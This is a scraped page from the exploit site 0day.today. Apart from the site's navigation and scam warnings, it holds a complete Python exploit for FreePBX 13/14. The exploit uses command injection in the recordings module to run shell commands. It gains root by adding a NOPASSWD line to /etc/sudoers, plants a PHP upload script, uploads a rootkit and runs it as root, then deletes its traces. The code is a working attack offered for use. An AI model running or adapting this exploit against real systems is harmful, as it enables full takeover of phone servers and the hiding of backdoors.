0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
FreePBX 13 / 14 - Remote Command Execution / Privilege Escalation
#!/usr/bin/env python # -*- coding, latin-1 -*- ###################################################### # # # DESCRIPTION # # FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net # # # # AUTHOR # # pgt - nullsecurity.net # # # # DATE # # 8-12-2016 # # # # VERSION # # freepbx0day.py 0.1 # # # # AFFECTED VERSIONS # # FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) # # # # STATUS # # Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908 # # # # TESTED AGAINST # # * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso # # * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso # # # # TODO # # * SSL support (priv8) # # * parameter for TCP port # # # # HINT # # Base64 Badchars: '+', '/', '=' # # # ################################################################################ ''' Successful exploitation should looks like: [*] enum FreePBX version [+] target running FreePBX 13 [*] checking if target is vulnerable [+] target seems to be vulnerable [*] getting kernel version [!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 .... [+] Linux x86_64 platform [*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine [*] triggering incrond to gaining root permissions via sudo [*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD! [*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine [*] checking if we gained root permissions [!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root) [+] adding view.php to admin/.htaccess [*] creating upload script: admin/libraries/view.php [*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php [*] removing view.php from admin/.htaccess [*] rm -f admin/libraries/view.php [!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23 [*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers [*] removing all temp files [!] have fun and HACK THE PLANET! ''' import base64 import httplib import optparse import re from socket import * import sys import time BANNER = '''\033[0;31m ################################################################################ #___________ ________________________ ___ ____________ # #\_ _____/______ ____ ____\______ \______ \ \/ / /_ \_____ \ # # | __) \_ __ \_/ __ \_/ __ \| ___/| | _/\ / | | _(__ < # # | \ | | \/\ ___/\ ___/| | | | \/ \ | |/ \ # # \___ / |__| \___ >\___ >____| |______ /___/\ \ |___/______ / # # \/ \/ \/ \/ \_/ \/ # # _______ .___ # # \ _ \ __| _/____ ___.__. * Remote Root 0-Day # # / /_\ \ ______ / __ |\__ \< | | # # \ \_/ \ /_____/ / /_/ | / __ \ \___ | # # \_____ / \____ |(____ / ____| # # \/ \/ \/\/ # # # # * Remote Command Execution Exploit (FreePBX 14 is affected also) # # * Local Root Exploit (probably FreePBX 14 is also exploitable) # # * Backdoor Upload + Execute As Root # # # # * Author: pgt - nullsecurity.net # # * Version: 0.1 # # # ################################################################################ \033[0;m''' def argspage(): parser = optparse.OptionParser() parser.add_option('-u', default=False, metavar='<url>', help='ip/url to exploit') parser.add_option('-r', default=False, metavar='<file>', help='Linux 32bit bd/rootkit') parser.add_option('-R', default=False, metavar='<file>', help='Linux 64bit bd/rootkit') parser.add_option('-a', default='/', metavar='<path>', help='FreePBX path - default: \'/\'') args, args2 = parser.parse_args() if (args.u == False) or (args.r == False) or (args.R == False): print '' parser.print_help() print '\n' exit(0) return args def cleanup_fe(): print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \ '\' from freepbx_engine' cmd = 'sed -i -- \' /echo \"asterisk ALL=(ALL) NOPASSWD\:ALL\">>' \ '\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine' command_execution(cmd) return def cleanup_lr(): print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \ '\' from launch-restapps' cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \ 'modules/restapps/launch-restapps.sh' command_execution(cmd) return def cleanup_htaccess(): print '[*] removing view.php from admin/.htaccess' cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \ 'config\\\\.php|ajax\\\\.php/g\' .htaccess' command_execution(cmd) return def cleanup_view_php(): print '[*] rm -f admin/libraries/view.php' cmd = 'rm -f libraries/view.php' command_execution(cmd) return def cleanup_sudoers(): print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers' cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL) NOPASSWD:ALL/d\' /etc/sudoers' command_execution(cmd) return def cleanup_tmpfiles(): print '[*] removing all temp files' cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null' command_execution(cmd) return def check_platform(response): if (response.find('Linux') != -1) and (response.find('x86_64') != -1): print '[+] Linux x86_64 platform' return '64' elif (response.find('Linux') != -1) and (response.find('i686') != -1): print '[+] Linux i686 platform' cleanup_tmpfiles() sys.exit(1) return '32' else: print '[-] adjust check_platform() when you want to backdoor ' \ 'other platforms' cleanup_tmpfiles() sys.exit(1) def check_kernel(response): if response.find('w00t') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 1 print '[!] Kernel: %s' % (response[start:end].replace('\\', '')) return check_platform(response[start:end]) def check_root(response): if response.find('uid=0(root)') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 2 print '[!] w00tw00t w3 r r00t - %s' % (response[start:end]) return else: print '[-] we are not root :(' cleanup_fe() cleanup_lr() cleanup_tmpfiles() sys.exit(1) def build_request(filename): body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \ '&command=convert&module=recordings' % (filename) content_type = 'application/x-www-form-urlencoded; charset=UTF-8' return content_type, body def filter_filename(response): start = response.find('localfilename":"w00t') + 16 end = response.find('.wav') + 4 return response[start:end] def post(path, content_type, body): h = httplib.HTTP(ARGS.u) h.putrequest('POST', '%s%s' % (ARGS.a, path)) h.putheader('Host' , '%s' % (ARGS.u)) h.putheader('Referer' , 'http://%s/' % (ARGS.u)) h.putheader('Content-Type', content_type) h.putheader('Content-Length', str(len(body))) h.endheaders() h.send(body) errcode, errmsg, headers = h.getreply() return h.file.read() def encode_multipart_formdata(fields, filename=None): LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] L.append('--' + LIMIT) if fields: for (key, value) in fields.items(): L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) if filename == None: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: audio/mpeg') L.append('') L.append('da') else: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: application/octet-stream') L.append('') L.append(open_file(filename)) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % (LIMIT) return content_type, body def create_fields(payload): fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru', 'systemrecording': '', 'filename': 'w00t%s' % (payload)} return fields def command_execution(cmd): upload_path = 'admin/ajax.php?module=recordings&command=' \ 'savebrowserrecording' cmd = base64.b64encode(cmd) payload = '`echo %s | base64 -d | sh`' % (cmd) fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) filename = filter_filename(response) content_type, body = build_request(filename) return post('admin/ajax.php', content_type, body) def check_vuln(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1: print '[-] target seems not to be vulnerable' sys.exit(1) upload_path = 'admin/ajax.php?module=recordings&command' \ '=savebrowserrecording' payload = 'w00tw00t' fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) if response.find('localfilename":"w00tw00tw00t') != -1: print '[+] target seems to be vulnerable' return else: print '[-] target seems not to be vulnerable' sys.exit(1) def open_file(filename): try: f = open(filename, 'rb') file_content = f.read() f.close() return file_content except IOError: print '[-] %s does not exists!' % (filename) sys.exit(1) def version13(): print '[*] checking if target is vulnerable' check_vuln() print '[*] getting kernel version' cmd = 'uname -a; echo w00tw00t' response = command_execution(cmd) result = check_kernel(response) if result == '64': backdoor = ARGS.R elif result == '32': backdoor = ARGS.r print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \ 'to freepbx_engine' cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \ 'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \ 'asterisk/bin/freepbx_engine' command_execution(cmd) print '[*] triggering incrond to gaining root permissions via sudo' cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart' command_execution(cmd) print '[*] waiting 20 seconds while incrond restarts applications' \ ' - /_!_\\ VERY LOUD!' time.sleep(20) cleanup_fe() #cleanup_lr() print '[*] checking if we gained root permissions' cmd = 'sudo -n id; echo w00tw00t' response = command_execution(cmd) check_root(response) print '[+] adding view.php to admin/.htaccess' cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \ 'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess' command_execution(cmd) print '[*] creating upload script: admin/libraries/view.php' cmd = 'echo \'<?php move_uploaded_file($_FILES["file"]' \ '["tmp_name"], "/tmp/23");?>\' > libraries/view.php' command_execution(cmd) print '[*] uploading %s to /tmp/23 via ' \ 'admin/libraries/view.php' % (backdoor) content_type, body = encode_multipart_formdata(False, backdoor) post('admin/libraries/view.php', content_type, body) cleanup_htaccess() cleanup_view_php() print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \ ' rm -f /tmp/23' cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23' setdefaulttimeout(5) try: command_execution(cmd) except timeout: ''' l4zY w0rk ''' setdefaulttimeout(20) try: cleanup_sudoers() cleanup_tmpfiles() except timeout: cleanup_tmpfiles() return def enum_version(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/config.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('FreePBX 13') != -1: print '[+] target running FreePBX 13' return 13 else: print '[-] target is not running FreePBX 13' return False def checktarget(): if re.match(r'^[0-9.\-]*$', ARGS.u): target = ARGS.u else: try: target = gethostbyname(ARGS.u) except gaierror: print '[-] \'%s\' is unreachable' % (ARGS.u) sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target, 80)) sock.close() if result != 0: '[-] \'%s\' is unreachable' % (ARGS.u) sys.exit(1) return def main(): print BANNER checktarget() open_file(ARGS.r) open_file(ARGS.R) print '[*] enum FreePBX version' result = enum_version() if result == 13: version13() print '[!] have fun and HACK THE PLANET!' return if __name__ == '__main__': ARGS = argspage() try: main() except KeyboardInterrupt: print '\nbye bye!!!' time.sleep(0.01) sys.exit(1) #EOF # 0day.today [2024-09-28] #